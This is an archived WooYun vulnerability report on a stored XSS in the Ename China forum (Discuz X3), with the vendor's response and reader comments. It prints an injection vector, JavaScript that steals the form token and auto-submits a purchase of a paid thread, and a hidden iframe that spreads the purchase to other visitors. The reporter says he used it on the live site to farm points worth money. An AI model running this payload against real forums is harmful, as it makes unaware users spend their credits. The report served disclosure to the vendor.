当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062670

漏洞标题：易名中国论坛XSS漏洞可无限刷玉米（等值RMB）

相关厂商：易名中国

漏洞作者： rqndx

提交时间：2014-05-28 18:59

修复时间：2014-05-29 14:42

公开时间：2014-05-29 14:42

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-28： 细节已通知厂商并且等待厂商处理中
2014-05-29： 厂商已经确认，细节仅向厂商公开
2014-05-29： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

易名中国论坛XSS漏洞可无限刷玉米（等值RMB）

详细说明：

易名论坛DISCUZ X3程序，前段时间论坛爆出XSS漏洞，今天正好逛论坛就试了下，然后有了下面的刷玉米（积分）。
随便找个帖子回复，然后插入连接，为了方便后面的刷分 尽量找回复N多页的帖子，插入代码

ed2k://|file|test|'+document.write(String.fromCharCode())+'|test/


这里我插入的是自动购买主题的JS代码：

var vzhi =document.getElementsByName("formhash")[0].value;
document.write('<form id=payform name=payform method=post autocomplete=off action=forum.php?mod=misc&action=pay&paysubmit=yes&infloat=yes><br>')
document.write('<input type=hidden name=formhash value='+vzhi+'><br>')
document.write('<input type=hidden name=referer value=http://www.dnbbs.com/./ ><br>')
document.write('<input type=hidden name=tid value=869290><br>')
/*document.write('<input type=submit name=submit value='+vzhi+'>')*/
document.write('</form><br>')
setTimeout("document.payform.submit()",1000)


这样浏览这个帖子就会自动购买主题ID为869290的主题（主题设置收费），
然后选择热门帖子跟帖 插入另外一个
代码：

document.writeln("<iframe src=\"第一次回复帖子地址\" frameborder=\"0\" scrolling=\"No\" height=\"1px\" width=\"1px\"></iframe>");


然后不知不觉中主题被不断购买。。。

漏洞证明：

刚刚刷了几千分就被封了。。管理效率挺高的，赞一个。。没啥恶意啊。。。

2.jpg


123.jpg

修复方案：

抓紧修复吧。。。

版权声明：转载请注明来源 rqndx@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-05-29 14:41

厂商回复：

非常感谢rqndx，这个漏洞源于discuz程序原始漏洞导致的，目前已打补丁，论坛有专人管理运营，这种刷分方式不会有造成太大的或大面积的危害，在未发现漏洞时我们自己的监控系统也已发现刷分行为并且马上对账号禁访。

最新状态：

2014-05-29：非常感谢rqndx，这个漏洞源于discuz程序原始漏洞导致的，目前已打补丁，论坛有专人管理运营，这种刷分方式不会有造成太大的或大面积的危害，在未发现漏洞时我们自己的监控系统也已发现刷分行为并且马上对账号禁访。

漏洞评价：

评论

  1. 2014-05-29 00:30 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    洞主有否捞了一笔，率先实现小康生活？

  2. 2014-05-29 01:58 | rqndx ( 路人 | Rank:9 漏洞数:3 | 种子发我邮箱：01010101010101010101010101...)

    @动后河 捞了我就不提交了……-_-#，在有人管理的论坛刷不了多少的，另外两万玉米等于四五百的样子，刷分只是一种低级应用啊

  3. 2014-05-29 09:23 | xnxss ( 路人 | Rank:26 漏洞数:5 | 只有你想不到的。。。。)

    坐等忽略

  4. 2014-05-29 16:12 | rqndx ( 路人 | Rank:9 漏洞数:3 | 种子发我邮箱：01010101010101010101010101...)

    刷分只是一种低级应用，可以挂马，刷流量，弹广告种种，影响还是很大的

  5. 2014-06-02 00:57 | 名字长才能脱颖而出__吧 ( 路人 | Rank:0 漏洞数:1 | ........)

    为毛就给了你1分

  6. 2014-06-03 18:56 | 风的传奇 ( 路人 | Rank:1 漏洞数:2 | 没有什么了不起，混迹于茫茫网络而已。)

    1 Rank,看来厂商心里是非常恨你的，但对你又是不屑。

  7. 2014-06-08 23:46 | 蒙塔基的钢弹 ( 路人 | Rank:10 漏洞数:1 | 卢比，卢比，蒙塔基的钢弹。。。)

    DZ X3的XSS漏洞？可否有传送门科普下呢？

  8. 2014-06-12 14:53 | rqndx ( 路人 | Rank:9 漏洞数:3 | 种子发我邮箱：01010101010101010101010101...)

    @蒙塔基的钢弹 WooYun: Discuz! X 储存型XSS (X1 ~ X3.1最新版)